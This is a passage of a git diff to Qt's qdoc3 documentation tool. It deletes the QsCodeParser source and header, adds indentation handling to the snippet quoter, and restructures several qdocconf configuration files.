- .arg(regExp.pattern()));
- }
- else if (paras.count() > 1) {
- doc.location().warning(tr("Regular rexpression '%1' matches multiple"
- "times").arg(regExp.pattern()));
- }
- else {
- source = paras.first() + "\n\n";
- }
-}
-
-void QsCodeParser::extractTarget(const QString& target,
- QString& source,
- const Doc& doc)
-{
- QRegExp targetRegExp(
- "(\\\\target\\s+(\\S+)[^\n]*\n"
- "(?:(?!\\s*\\\\code)[^\n]+\n|\\s*\\\\code.*\\\\endcode\\s*\n)*)"
- "(?:\\s*\n|[^\n]*$)");
- targetRegExp.setMinimal(true);
-
- int pos = 0;
- while ((pos = source.indexOf(targetRegExp, pos)) != -1) {
- if (targetRegExp.cap(2) == target) {
- source = targetRegExp.cap(1) + "\n\n";
- return;
- }
- pos += targetRegExp.matchedLength();
- }
- doc.location().warning(tr("Cannot find target '%1'").arg(target));
-}
-
-void QsCodeParser::renameParameters(QString& source,
- const Doc& /* doc */,
- const QStringList& qtParams,
- const QStringList& quickParams)
-{
- QRegExp paramRegExp("(\\\\a\\s*\\{?\\s*)([A-Za-z0-9_]+)");
-
- int pos = 0;
- while ((pos = paramRegExp.indexIn(source, pos)) != -1) {
- pos += paramRegExp.cap(1).length();
- QString before = paramRegExp.cap(2);
- int index = qtParams.indexOf(before);
- if (index != -1) {
- QString after = quickParams[index];
- source.replace(pos, before.size(), after);
- }
- }
-}
-
-void QsCodeParser::applyReplacementList(QString& source, const Doc& doc)
-{
- QStringList args = doc.metaCommandArgs(COMMAND_REPLACE);
- QStringList::ConstIterator a = args.begin();
- while (a != args.end()) {
- if (replaceRegExp.exactMatch(*a)) {
- QRegExp before(replaceRegExp.cap(1));
- before.setMinimal(true);
- QString after = replaceRegExp.cap(2);
-
- if (before.isValid()) {
- int oldLen = source.size();
- source.replace(before, after);
-
- // this condition is sufficient but not necessary
- if (oldLen == source.size() && !source.contains(after))
- doc.location().warning(
- tr("Regular expression '%1' did not match anything")
- .arg(before.pattern()));
- }
- else {
- doc.location().warning(
- tr("Invalid regular expression '%1'")
- .arg(before.pattern()));
- }
- }
- else {
- doc.location().warning(tr("Bad syntax in '\\%1'")
- .arg(COMMAND_REPLACE));
- }
- ++a;
- }
-
- QRegExp codeRegExp("\\\\" + COMMAND_CODE + "(.*)\\\\" + COMMAND_ENDCODE);
- codeRegExp.setMinimal(true);
-
- QRegExp quickcodeRegExp(
- "\\\\" + COMMAND_QUICKCODE + "(.*)\\\\" + COMMAND_ENDQUICKCODE);
- quickcodeRegExp.setMinimal(true);
-
- int quickcodePos = doc.source().indexOf(quickcodeRegExp);
- if (quickcodePos != -1) {
- int codePos = source.indexOf(codeRegExp);
- if (codePos == -1) {
- doc.location().warning(
- tr("Cannot find any '\\%1' snippet corresponding to '\\%2'")
- .arg(COMMAND_CODE).arg(COMMAND_QUICKCODE));
- }
- else {
- source.replace(codeRegExp.pos(1), codeRegExp.cap(1).length(),
- quickcodeRegExp.cap(1));
- codePos = codeRegExp.pos(1) + quickcodeRegExp.cap(1).length();
-
- if (doc.source().indexOf(quickcodeRegExp, quickcodePos + 1) != -1) {
- doc.location().warning(
- tr("Cannot use '\\%1' twice in a row")
- .arg(COMMAND_QUICKCODE));
- }
- else if (source.indexOf(codeRegExp, codePos + 1) != -1) {
- doc.location().warning(tr("Ambiguous '\\%1'")
- .arg(COMMAND_QUICKCODE));
- }
- }
- }
-}
-
-void QsCodeParser::quickifyClass(ClassNode *quickClass)
-{
- QString qtClassName = quickClass->name();
- QString bare = quickClass->name();
- if (bare != "Qt" && bare != "Object") {
- if (bare.startsWith("Q")) {
- bare = bare.mid(1);
- }
- else {
- qtClassName.prepend("Q");
- classesWithNoQ.insert(bare);
- }
- }
-
- ClassNode *qtClass = 0;
- ClassNode *wrapperClass = 0;
-
- if ((wrapperClass = tryClass("Quick" + bare)) != 0 ||
- (wrapperClass = tryClass("QS" + bare + "Class")) != 0) {
- qtClass = tryClass(qtClassName);
- if (qtClass == 0) {
- qtClass = wrapperClass;
- wrapperClass = 0;
- }
- }
- else if ((wrapperClass = tryClass("Quick" + bare + "Ptr")) != 0) {
- QRegExp ptrToQtType("(Q[A-Za-z0-9_]+)\\s*\\*");
- FunctionNode *ctor =
- wrapperClass->findFunctionNode(wrapperClass->name());
- if (ctor != 0 && !ctor->parameters().isEmpty() &&
- ptrToQtType.exactMatch(ctor->parameters().first().leftType()))
- qtClassName = ptrToQtType.cap(1);
- qtClass = tryClass(qtClassName);
- }
- else {
- wrapperClass = tryClass("Q" + bare + "Ptr");
- if (wrapperClass == 0)
- wrapperClass = tryClass("Quick" + bare + "Interface");
- qtClass = tryClass(qtClassName);
- }
-
- if (qtClass == 0) {
- if (wrapperClass == 0) {
- quickClass->location().warning(tr("Cannot find Qt class '%1'")
- .arg(qtClassName));
- }
- else {
- quickClass->location().warning(tr("Cannot find Qt class '%1'"
- " wrapped by '%2'")
- .arg(qtClassName)
- .arg(wrapperClass->name()));
- }
- return;
- }
-
- QList<RelatedClass>::ConstIterator r = qtClass->baseClasses().begin();
- while (r != qtClass->baseClasses().end()) {
- ClassNode *quickBaseClass = cpp2qs.findClassNode(qsTre,
- (*r).node->name());
- if (quickBaseClass)
- quickClass->addBaseClass((*r).access, quickBaseClass);
- ++r;
- }
- if (quickClass->baseClasses().isEmpty() && quickClass->name() != "Object")
- quickClass->addBaseClass(Node::Public,
- cpp2qs.findClassNode(qsTre,"Object"));
-
- QSet<QString> funcBlackList;
- QSet<QString> propertyBlackList;
-
- NodeList children;
- if (wrapperClass != 0) {
- children = wrapperClass->childNodes();
-
- funcBlackList.insert(wrapperClass->name());
- funcBlackList.insert("~" + wrapperClass->name());
- }
- children += qtClass->childNodes();
-
- for (int pass = 0; pass < 2; pass++) {
- NodeList::ConstIterator c = children.begin();
- while (c != children.end()) {
- if ((*c)->access() != Node::Private &&
- (*c)->status() == Node::Commendable) {
- if (pass == 0) {
- if ((*c)->type() == Node::Enum) {
- EnumNode *enume = (EnumNode *) *c;
- quickifyEnum(quickClass, enume);
- }
- else if ((*c)->type() == Node::Property) {
- if (!propertyBlackList.contains((*c)->name())) {
- PropertyNode *property = (PropertyNode *) *c;
- quickifyProperty(quickClass, qtClass, property);
- if (!property->getters().isEmpty())
- funcBlackList.insert(property->getters().first()->name());
- if (!property->setters().isEmpty())
- funcBlackList.insert(property->setters().first()->name());
- if (!property->resetters().isEmpty())
- funcBlackList.insert(property->resetters().first()->name());
- propertyBlackList.insert(property->name());
- }
- }
- }
- else if ((*c)->type() == Node::Function) {
- FunctionNode *func = (FunctionNode *) *c;
- quickifyFunction(quickClass, qtClass, func,
- funcBlackList.contains((*c)->name()) &&
- func->parameters().count() < 2);
- }
- }
- ++c;
- }
- }
- setQtDoc(quickClass, qtClass->doc());
- classesWithNoQuickDoc.insert(quickClass->name(), quickClass);
-}
-
-void QsCodeParser::quickifyEnum(ClassNode *quickClass, EnumNode *enume)
-{
- EnumNode *quickEnum = new EnumNode(quickClass, enume->name());
- quickEnum->setLocation(enume->location());
-#if 0 // ### not yet
- quickEnum->setAccess(Node::Protected);
-#endif
-
- QList<EnumItem>::ConstIterator it = enume->items().begin();
- while (it != enume->items().end()) {
- QString name = (*it).name();
- QString value = (*it).value();
- quickEnum->addItem(EnumItem(name, value));
- ++it;
- }
- setQtDoc(quickEnum, enume->doc());
-}
-
-void QsCodeParser::quickifyFunction(ClassNode *quickClass, ClassNode *qtClass,
- FunctionNode *func, bool onBlackList)
-{
- if (func->metaness() == FunctionNode::Dtor)
- return;
-
- FunctionNode *kernelFunc = findKernelFunction(
- QStringList() << quickClass->name(), func->name());
-
- QString quickName = func->name();
- if (func->metaness() == FunctionNode::Ctor)
- quickName = quickClass->name();
- FunctionNode *quickFunc = new FunctionNode(quickClass, quickName);
- quickFunc->setLocation(func->location());
-
- if (onBlackList) {
- quickFunc->setAccess(Node::Protected);
- }
- else {
- if (kernelFunc != 0 && func->numOverloads() == 1 &&
- (func->parameters().count() == 0 ||
- func->parameters().last().defaultValue().isEmpty())) {
- kernelFunc->setAccess(Node::Private);
- }
- else {
- if (func->metaness() == FunctionNode::Plain)
- quickFunc->setAccess(Node::Protected);
- }
- }
-
- quickFunc->setReturnType(cpp2qs.convertedDataType(qsTre,
- func->returnType()));
- if (func->metaness() != FunctionNode::Slot)
- quickFunc->setMetaness(func->metaness());
- quickFunc->setVirtualness(FunctionNode::ImpureVirtual);
- quickFunc->setOverload(func->isOverload());
-
- QList<Parameter>::ConstIterator q = func->parameters().begin();
- while (q != func->parameters().end()) {
- QString dataType = cpp2qs.convertedDataType(qsTre, (*q).leftType(),
- (*q).rightType());
- if (dataType.isEmpty()) {
- dataType = "UNKNOWN";
- quickFunc->setAccess(Node::Private);
- }
- Parameter param(dataType, "", (*q).name(),
- (*q).defaultValue().isEmpty() ? "" : "undefined");
- quickFunc->addParameter(param);
- ++q;
- }
-
- if (func->doc().isEmpty()) {
- if (func->parent() != (InnerNode *) qtClass) {
- func = qtClass->findFunctionNode(func);
- if (func != 0)
- setQtDoc(quickFunc, func->doc());
- }
- }
- else {
- setQtDoc(quickFunc, func->doc());
- }
-}
-
-void QsCodeParser::quickifyProperty(ClassNode *quickClass,
- ClassNode * /* qtClass */,
- PropertyNode *property)
-{
- PropertyNode *quickProperty = new PropertyNode(quickClass,
- property->name());
- quickProperty->setLocation(property->location());
- quickProperty->setDataType(cpp2qs.convertedDataType(qsTre,
- property->dataType()));
-#if 0
- quickProperty->setGetter(property->getter());
- quickProperty->setSetter(property->setter());
- quickProperty->setResetter(property->resetter());
-#endif
- quickProperty->setStored(property->isStored());
- quickProperty->setDesignable(property->isDesignable());
-
- setQtDoc(quickProperty, property->doc());
-}
-
-QString QsCodeParser::quickifiedDoc(const QString& source)
-{
- QString result;
- int i = 0;
-
- while (i < (int) source.length()) {
- if (leftWordBoundary(source, i)) {
- if (source[i] == 'Q') {
- if (source[i + 1] == 'C' && source.mid(i, 8) == "QCString") {
- i += 2;
- }
- else {
- int end = i + 1;
- while (isWord(source[end]))
- ++end;
- if (!classesWithNoQ.contains(
- source.mid(i + 1, end - (i + 1))))
- result += "Q";
- i++;
- }
- }
- else if (source[i] == 'T' && source.mid(i, 4) == "TRUE" &&
- rightWordBoundary(source, i + 4)) {
- result += "\\c{true}";
- i += 4;
- }
- else if (source[i] == 'F' && source.mid(i, 5) == "FALSE" &&
- rightWordBoundary(source, i + 5)) {
- result += "\\c{false}";
- i += 5;
- }
- else if (source[i] == 'c' && source.mid(i, 6) == "const ") {
- i += 6;
- }
- else {
- result += source[i++];
- }
- }
- else if ((source[i] == ':' && source[i + 1] == ':') ||
- (source[i] == '-' && source[i + 1] == '>')) {
- result += '.';
- i += 2;
- }
- else if (source[i] == '\\') {
- // ### make independent of the command name
- if (source.mid(i, 5) == "\\code") {
- do {
- result += source[i++];
- } while (source[i - 1] != '\n');
-
- int begin = i;
- int end = source.indexOf("\\endcode", i);
- if (end != -1) {
- QString code = source.mid(begin, end - begin);
- result += cpp2qs.convertedCode(qsTre, code,
- classesWithNoQ);
- i = end;
- }
- }
- else {
- result += source[i++];
- }
- }
- else {
- result += source[i++];
- }
- }
-
- QList<QRegExp>::ConstIterator b = replaceBefores.begin();
- QStringList::ConstIterator a = replaceAfters.begin();
- while (a != replaceAfters.end()) {
- result.replace(*b, *a);
- ++b;
- ++a;
- }
- return result;
-}
-
-void QsCodeParser::setQtDoc(Node *quickNode, const Doc& doc)
-{
- if (!doc.isEmpty()) {
- Doc quickDoc(doc.location(), doc.location(),
- quickifiedDoc(doc.source()),
- CppCodeParser::topicCommands() +
- CppCodeParser::otherMetaCommands());
- quickNode->setDoc(quickDoc, true);
- }
-}
-
-void QsCodeParser::setQuickDoc(Node *quickNode,
- const Doc& doc,
- const QStringList& qtParams,
- const QStringList& quickParams)
-{
- QRegExp quickifyCommand("\\\\" + COMMAND_QUICKIFY + "([^\n]*)(?:\n|$)");
-
- if (quickNode->type() == Node::Function) {
- FunctionNode *quickFunc = (FunctionNode *) quickNode;
- quickFunc->setOverload(false);
- }
-
- if (doc.metaCommandsUsed().contains(COMMAND_QUICKIFY)) {
- QString source = doc.source();
- int pos = source.indexOf(quickifyCommand);
- if (pos != -1) {
- QString quickifiedSource = quickNode->doc().source();
- if (!qtParams.isEmpty() && qtParams != quickParams)
- renameParameters(quickifiedSource, doc, qtParams,
- quickParams);
- applyReplacementList(quickifiedSource, doc);
-
- do {
- QString extract = quickifiedSource;
- QString arg = quickifyCommand.cap(1).simplified();
- if (!arg.isEmpty()) {
- if (arg.startsWith("/") && arg.endsWith("/") &&
- arg.length() > 2) {
- QString pattern = arg.mid(1, arg.length() - 2);
- extractRegExp(QRegExp(pattern), extract, doc);
- }
- else {
- extractTarget(arg, extract, doc);
- }
- }
- source.replace(pos, quickifyCommand.matchedLength(), extract);
- pos += extract.length();
- } while ((pos = source.indexOf(quickifyCommand, pos)) != -1);
-
- QRegExp quickcodeRegExp(
- "\\\\" + COMMAND_QUICKCODE + "(.*)\\\\" +
- COMMAND_ENDQUICKCODE);
- quickcodeRegExp.setMinimal(true);
- source.replace(quickcodeRegExp, "");
- }
-
- Doc quickDoc(doc.location(),
- doc.location(),
- source,
- (CppCodeParser::topicCommands() + topicCommands() +
- CppCodeParser::otherMetaCommands()) << COMMAND_REPLACE);
- quickNode->setDoc(quickDoc, true);
- processOtherMetaCommands(quickDoc, quickNode);
- }
- else {
- quickNode->setDoc(doc, true);
- processOtherMetaCommands(doc, quickNode);
- }
-}
-
-bool QsCodeParser::makeFunctionNode(const QString& synopsis,
- QStringList *parentPathPtr,
- FunctionNode **funcPtr)
-{
- QRegExp funcRegExp(
- "\\s*([A-Za-z0-9_]+)\\.([A-Za-z0-9_]+)\\s*\\((" +
- balancedParens +
- ")\\)(?:\\s*:\\s*([A-Za-z0-9_]+))?\\s*");
- QRegExp paramRegExp(
- "\\s*(\\[)?\\s*(?:([A-Za-z0-9_]+)\\s*:\\s*)?"
- "([A-Za-z0-9_]+|\\.\\.\\.)\\s*(\\[)?[\\s\\]]*");
-
- if (!funcRegExp.exactMatch(synopsis))
- return false;
-
- ClassNode *classe = (ClassNode*)
- qsTre->findNode(QStringList(funcRegExp.cap(1)),Node::Class);
- if (classe == 0)
- return false;
-
- FunctionNode *clone = new FunctionNode(0, funcRegExp.cap(2));
- bool optional = false;
-
- QString paramStr = funcRegExp.cap(3);
- QStringList params = paramStr.split(",");
- QStringList::ConstIterator p = params.begin();
- while (p != params.end()) {
- if (paramRegExp.exactMatch(*p)) {
- if (!paramRegExp.cap(1).isEmpty())
- optional = true;
- clone->addParameter(Parameter(paramRegExp.cap(3),
- "",
- paramRegExp.cap(2),
- optional ? "undefined" : ""));
- if (!paramRegExp.cap(4).isEmpty())
- optional = true;
- }
- else {
- delete clone;
- return false;
- }
- ++p;
- }
- QString returnType = funcRegExp.cap(4);
- if (!returnType.isEmpty())
- clone->setReturnType(returnType);
- if (parentPathPtr != 0)
- *parentPathPtr = QStringList() << classe->name();
- if (funcPtr != 0) {
- *funcPtr = clone;
- }
- else {
- delete clone;
- }
- return true;
-}
-
-bool QsCodeParser::isWord(QChar ch)
-{
- return ch.isLetterOrNumber() || ch == QChar('_');
-}
-
-bool QsCodeParser::leftWordBoundary(const QString& str, int pos)
-{
- return !isWord(str[pos - 1]) && isWord(str[pos]);
-}
-
-bool QsCodeParser::rightWordBoundary(const QString& str, int pos)
-{
- return isWord(str[pos - 1]) && !isWord(str[pos]);
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/qscodeparser.h b/tools/qdoc3/qscodeparser.h
deleted file mode 100644
index 35b05e1..0000000
--- a/tools/qdoc3/qscodeparser.h
+++ /dev/null
@@ -1,128 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- qscodeparser.h
-*/
-
-#ifndef QSCODEPARSER_H
-#define QSCODEPARSER_H
-
-#include "cppcodeparser.h"
-#include "cpptoqsconverter.h"
-
-QT_BEGIN_NAMESPACE
-
-class QsCodeParser : public CppCodeParser
-{
- public:
- QsCodeParser(Tree *cppTree);
- ~QsCodeParser();
-
- virtual void initializeParser(const Config& config);
- virtual void terminateParser();
- virtual QString language();
- virtual QString headerFileNameFilter();
- virtual QString sourceFileNameFilter();
- virtual void parseHeaderFile(const Location& location,
- const QString& filePath, Tree *tree);
- virtual void parseSourceFile(const Location& location,
- const QString& filePath, Tree *tree);
- virtual void doneParsingHeaderFiles(Tree *tree);
- virtual void doneParsingSourceFiles(Tree *tree);
-
- FunctionNode *findFunctionNode(const QString& synopsis, Tree *tree);
-
- protected:
- virtual QSet<QString> topicCommands();
- virtual Node *processTopicCommand(const Doc& doc, const QString& command,
- const QString& arg);
- virtual QSet<QString> otherMetaCommands();
- virtual void processOtherMetaCommand(const Doc& doc,
- const QString& command,
- const QString& arg, Node *node);
-
- private:
- ClassNode *tryClass(const QString& className);
- FunctionNode *findKernelFunction(const QStringList& parentPath,
- const QString& name);
- void extractRegExp(const QRegExp& regExp, QString& source,
- const Doc& doc);
- void extractTarget(const QString& target, QString& source,
- const Doc& doc);
- void renameParameters(QString& source, const Doc& doc,
- const QStringList& qtNames,
- const QStringList& quickNames);
- void applyReplacementList(QString& source, const Doc& doc);
- void quickifyClass(ClassNode *quickClass);
- void quickifyEnum(ClassNode *quickClass, EnumNode *enume);
- void quickifyFunction(ClassNode *quickClass, ClassNode *qtClass,
- FunctionNode *func, bool onBlackList);
- void quickifyProperty(ClassNode *quickClass, ClassNode *qtClass,
- PropertyNode *property);
- QString quickifiedDoc(const QString& source);
- void setQtDoc(Node *quickNode, const Doc& doc);
- void setQuickDoc(Node *quickNode, const Doc& doc,
- const QStringList& qtParams = QStringList(),
- const QStringList& quickParams = QStringList());
- bool makeFunctionNode(const QString& synopsis, QStringList *parentPathPtr,
- FunctionNode **funcPtr);
-
- static bool isWord(QChar ch);
- static bool leftWordBoundary(const QString& str, int pos);
- static bool rightWordBoundary(const QString& str, int pos);
-
- QMap<QString,Node::Type> nodeTypeMap;
- QMap<QString,Node*> classesWithNoQuickDoc;
- QList<QRegExp> replaceBefores;
- QStringList replaceAfters;
- QSet<QString> classesWithNoQ;
- Tree* cppTre;
- Tree* qsTre;
- QRegExp replaceRegExp;
- CppToQsConverter cpp2qs;
-
- static int tabSize;
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp
index 1892f89..dadf67c 100644
--- a/tools/qdoc3/quoter.cpp
+++ b/tools/qdoc3/quoter.cpp
@@ -41,7 +41,6 @@
#include <qfileinfo.h>
#include <qregexp.h>
-#include <qdebug.h>
#include "quoter.h"
@@ -123,9 +122,9 @@ Quoter::Quoter()
/* We're going to hard code these delimiters:
* C++, Qt, Qt Script, Java:
//! [<id>]
- * .pro files:
+ * .pro, .py files:
#! [<id>]
- * .xq, .xml, .html files:
+ * .html, .qrc, .ui, .xq, .xml files:
<!-- [<id>] -->
*/
commentHash["pro"] = "#!";
@@ -222,10 +221,13 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
QString comment = commentForCode();
QString delimiter = comment + QString(" [%1]").arg(identifier);
QString t;
+ int indent = 0;
while (!plainLines.isEmpty()) {
if (match(docLocation, delimiter, plainLines.first())) {
- getLine();
+ QString startLine = getLine();
+ while (indent < startLine.length() && startLine[indent] == QLatin1Char(' '))
+ indent++;
break;
}
getLine();
@@ -233,33 +235,24 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
while (!plainLines.isEmpty()) {
QString line = plainLines.first();
if (match(docLocation, delimiter, line)) {
- QString lastLine = getLine();
+ QString lastLine = getLine(indent);
int dIndex = lastLine.indexOf(delimiter);
if (dIndex > 0) {
+ // The delimiter might be preceded on the line by other
+ // delimeters, so look for the first comment on the line.
QString leading = lastLine.left(dIndex);
dIndex = leading.indexOf(comment);
if (dIndex != -1)
leading = leading.left(dIndex);
+ if (leading.endsWith(QLatin1String("<@comment>")))
+ leading.chop(10);
if (!leading.trimmed().isEmpty())
t += leading;
}
return t;
}
- // Remove special macros to support Qt namespacing.
- if (line.startsWith("QT_BEGIN_NAMESPACE")) {
- getLine();
- } else if (line.startsWith("QT_END_NAMESPACE")) {
- getLine();
- t += QLatin1Char('\n');
- } else if (!line.startsWith(comment)) {
- // Ordinary code
- t += getLine();
- } else {
- // Normal comments
- if (line.contains(QLatin1Char('\n')))
- t += QLatin1Char('\n');
- getLine();
- }
+
+ t += removeSpecialLines(line, comment, indent);
}
failedAtEnd(docLocation, QString("snippet (%1)").arg(delimiter));
return t;
@@ -274,21 +267,7 @@ QString Quoter::quoteTo( const Location& docLocation, const QString& command,
if ( pattern.isEmpty() ) {
while ( !plainLines.isEmpty() ) {
QString line = plainLines.first();
- // Remove special macros to support Qt namespacing.
- if (line.startsWith("QT_BEGIN_NAMESPACE")) {
- getLine();
- } else if (line.startsWith("QT_END_NAMESPACE")) {
- getLine();
- t += QLatin1Char('\n');
- } else if (!line.startsWith(comment))
- // Ordinary code
- t += getLine();
- else {
- // Normal comments
- if (line.contains(QLatin1Char('\n')))
- t += QLatin1Char('\n');
- getLine();
- }
+ t += removeSpecialLines(line, comment);
}
} else {
while ( !plainLines.isEmpty() ) {
@@ -310,7 +289,7 @@ QString Quoter::quoteUntil( const Location& docLocation, const QString& command,
return t;
}
-QString Quoter::getLine()
+QString Quoter::getLine(int unindent)
{
if ( plainLines.isEmpty() )
return QString();
@@ -318,6 +297,11 @@ QString Quoter::getLine()
plainLines.removeFirst();
QString t = markedLines.takeFirst();
+ int i = 0;
+ while (i < unindent && i < t.length() && t[i] == QLatin1Char(' '))
+ i++;
+
+ t = t.mid(i);
t += QLatin1Char('\n');
codeLocation.advanceLines( t.count( QLatin1Char('\n') ) );
return t;
@@ -366,4 +350,27 @@ QString Quoter::commentForCode() const
return commentHash.value(suffix, "//!");
}
+QString Quoter::removeSpecialLines(const QString &line, const QString &comment, int unindent)
+{
+ QString t;
+
+ // Remove special macros to support Qt namespacing.
+ QString trimmed = line.trimmed();
+ if (trimmed.startsWith("QT_BEGIN_NAMESPACE")) {
+ getLine();
+ } else if (trimmed.startsWith("QT_END_NAMESPACE")) {
+ getLine();
+ t += QLatin1Char('\n');
+ } else if (!trimmed.startsWith(comment)) {
+ // Ordinary code
+ t += getLine(unindent);
+ } else {
+ // Comments
+ if (line.contains(QLatin1Char('\n')))
+ t += QLatin1Char('\n');
+ getLine();
+ }
+ return t;
+}
+
QT_END_NAMESPACE
diff --git a/tools/qdoc3/quoter.h b/tools/qdoc3/quoter.h
index 793d115..6a59ab4 100644
--- a/tools/qdoc3/quoter.h
+++ b/tools/qdoc3/quoter.h
@@ -70,11 +70,13 @@ public:
QString quoteSnippet(const Location &docLocation, const QString &identifier);
private:
- QString getLine();
+ QString getLine(int unindent = 0);
void failedAtEnd( const Location& docLocation, const QString& command );
bool match( const Location& docLocation, const QString& pattern,
const QString& line );
QString commentForCode() const;
+ QString removeSpecialLines(const QString &line, const QString &comment,
+ int unindent = 0);
bool silent;
bool validRegExp;
diff --git a/tools/qdoc3/test/compat.qdocconf b/tools/qdoc3/test/compat.qdocconf
index 5745ed9..0b59629 100644
--- a/tools/qdoc3/test/compat.qdocconf
+++ b/tools/qdoc3/test/compat.qdocconf
@@ -1,5 +1,5 @@
-alias.i = e
-alias.include = input
+alias.i = e
+alias.include = input
macro.0 = "\\\\0"
macro.b = "\\\\b"
@@ -27,5 +27,5 @@ macro.img = "\\image"
macro.endquote = "\\endquotation"
macro.relatesto = "\\relates"
-spurious = "Missing comma in .*" \
- "Missing pattern .*"
+spurious = "Missing comma in .*" \
+ "Missing pattern .*"
diff --git a/tools/qdoc3/test/macros.qdocconf b/tools/qdoc3/test/macros.qdocconf
index 510a8b3..2262daa 100644
--- a/tools/qdoc3/test/macros.qdocconf
+++ b/tools/qdoc3/test/macros.qdocconf
@@ -34,3 +34,4 @@ macro.beginfloatleft.HTML = "<div style=\"float: left; margin-right: 2em\">"
macro.beginfloatright.HTML = "<div style=\"float: right; margin-left: 2em\">"
macro.endfloat.HTML = "</div>"
macro.clearfloat.HTML = "<br style=\"clear: both\" />"
+macro.emptyspan.HTML = "<span></span>"
diff --git a/tools/qdoc3/test/qt-api-only.qdocconf b/tools/qdoc3/test/qt-api-only.qdocconf
index cdd7a7c..36637d2 100644
--- a/tools/qdoc3/test/qt-api-only.qdocconf
+++ b/tools/qdoc3/test/qt-api-only.qdocconf
@@ -1,34 +1,2 @@
include(qt-build-docs.qdocconf)
-
-# Ensures that the generated index contains a URL that can be used by the
-# tools documentation (assistant.qdocconf, designer.qdocconf, linguist.qdocconf,
-# qmake.qdocconf).
-
-url = ./
-
-# Ensures that the documentation for the tools is not included in the generated
-# .qhp file.
-
-qhp.Qt.excluded += $QT_SOURCE_TREE/doc/src/development/assistant-manual.qdoc \
- $QT_SOURCE_TREE/doc/src/examples/simpletextviewer.qdoc \
- $QT_SOURCE_TREE/doc/src/development/designer-manual.qdoc \
- $QT_SOURCE_TREE/doc/src/examples/calculatorbuilder.qdoc \
- $QT_SOURCE_TREE/doc/src/examples/calculatorform.qdoc \
- $QT_SOURCE_TREE/doc/src/examples/customwidgetplugin.qdoc \
- $QT_SOURCE_TREE/doc/src/examples/taskmenuextension.qdoc \
- $QT_SOURCE_TREE/doc/src/examples/containerextension.qdoc \
- $QT_SOURCE_TREE/doc/src/examples/worldtimeclockbuilder.qdoc \
- $QT_SOURCE_TREE/doc/src/examples/worldtimeclockplugin.qdoc \
- $QT_SOURCE_TREE/doc/src/internationalization/linguist-manual.qdoc \
- $QT_SOURCE_TREE/doc/src/examples/hellotr.qdoc \
- $QT_SOURCE_TREE/doc/src/examples/arrowpad.qdoc \
- $QT_SOURCE_TREE/doc/src/examples/trollprint.qdoc \
- $QT_SOURCE_TREE/doc/src/development/qmake-manual.qdoc
-
-# Remove the QML documentation from the Qt-only documentation.
-
-excludedirs += $QT_SOURCE_TREE/src/imports
-
-outputdir = $QT_BUILD_TREE/doc-build/html-qt
-tagfile = $QT_BUILD_TREE/doc-build/html-qt/qt.tags
-base = file:$QT_BUILD_TREE/doc-build/html-qt
+include(qt-project-api-only.qdocconf)
diff --git a/tools/qdoc3/test/qt-build-docs-online.qdocconf b/tools/qdoc3/test/qt-build-docs-online.qdocconf
new file mode 100644
index 0000000..2962845
--- /dev/null
+++ b/tools/qdoc3/test/qt-build-docs-online.qdocconf
@@ -0,0 +1,2 @@
+include(qt-project.qdocconf)
+include(qt-html-templates-online.qdocconf)
diff --git a/tools/qdoc3/test/qt-build-docs.qdocconf b/tools/qdoc3/test/qt-build-docs.qdocconf
index e642559..4dbe1cd 100644
--- a/tools/qdoc3/test/qt-build-docs.qdocconf
+++ b/tools/qdoc3/test/qt-build-docs.qdocconf
@@ -1,151 +1,2 @@
-include(compat.qdocconf)
-include(macros.qdocconf)
-include(qt-cpp-ignore.qdocconf)
+include(qt-project.qdocconf)
include(qt-html-templates.qdocconf)
-include(qt-defines.qdocconf)
-
-project = Qt
-description = Qt Reference Documentation
-url = http://qt.nokia.com/doc/4.8
-
-sourceencoding = UTF-8
-outputencoding = UTF-8
-naturallanguage = en_US
-
-qhp.projects = Qt
-
-qhp.Qt.file = qt.qhp
-qhp.Qt.namespace = com.trolltech.qt.480
-qhp.Qt.virtualFolder = qdoc
-qhp.Qt.indexTitle = Qt Reference Documentation
-qhp.Qt.indexRoot =
-
-# Files not referenced in any qdoc file (last four are needed by qtdemo)
-# See also extraimages.HTML
-qhp.Qt.extraFiles = index.html \
- images/bg_l.png \
- images/bg_l_blank.png \
- images/bg_ll_blank.png \
- images/bg_ul_blank.png \
- images/header_bg.png \
- images/bg_r.png \
- images/box_bg.png \
- images/breadcrumb.png \
- images/bullet_gt.png \
- images/bullet_dn.png \
- images/bullet_sq.png \
- images/bullet_up.png \
- images/arrow_down.png \
- images/feedbackground.png \
- images/horBar.png \
- images/page.png \
- images/page_bg.png \
- images/sprites-combined.png \
- images/spinner.gif \
- images/stylesheet-coffee-plastique.png \
- images/taskmenuextension-example.png \
- images/coloreditorfactoryimage.png \
- images/dynamiclayouts-example.png \
- scripts/functions.js \
- scripts/jquery.js \
- scripts/narrow.js \
- scripts/superfish.js \
- style/narrow.css \
- style/superfish.css \
- style/style_ie6.css \
- style/style_ie7.css \
- style/style_ie8.css \
- style/style.css
-
-
-
-qhp.Qt.filterAttributes = qt 4.8.0 qtrefdoc
-qhp.Qt.customFilters.Qt.name = Qt 4.8.0
-qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0
-qhp.Qt.subprojects = classes qmlelements overviews examples
